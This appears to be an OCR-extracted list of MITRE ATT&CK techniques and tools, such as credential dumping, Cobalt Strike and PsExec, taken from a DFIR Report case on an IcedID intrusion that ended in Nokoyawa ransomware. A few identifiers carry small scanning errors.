System Network Configuration Discovery - T1016

Valid Accounts - T1078

WMI - T1047

Unsecured Credentials: Credentials In Files - T1552.001
User Execution: Malicious File - T1204.002

Remote Services: Windows Remote Management - T1021.006
Exfiltration Over C2 Channel - T1041

Archive Collected Data: Archive via Utility - T1560.001
Ingress Tool Transfer - T1105

Web Service - T1102

0S Credential Dumping: LSASS Memory - T1003.001

Remote Access Software - T1219

AdFind - S@552

IcedID - S0483
ipconfig - S0100

net - S0039

nltest - S0359

ping - S0097
systeminfo - S0096
cnd - S0106

Cobalt Strike - S0154
PsExec - S0029

Internal case #18190

Source: https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware,
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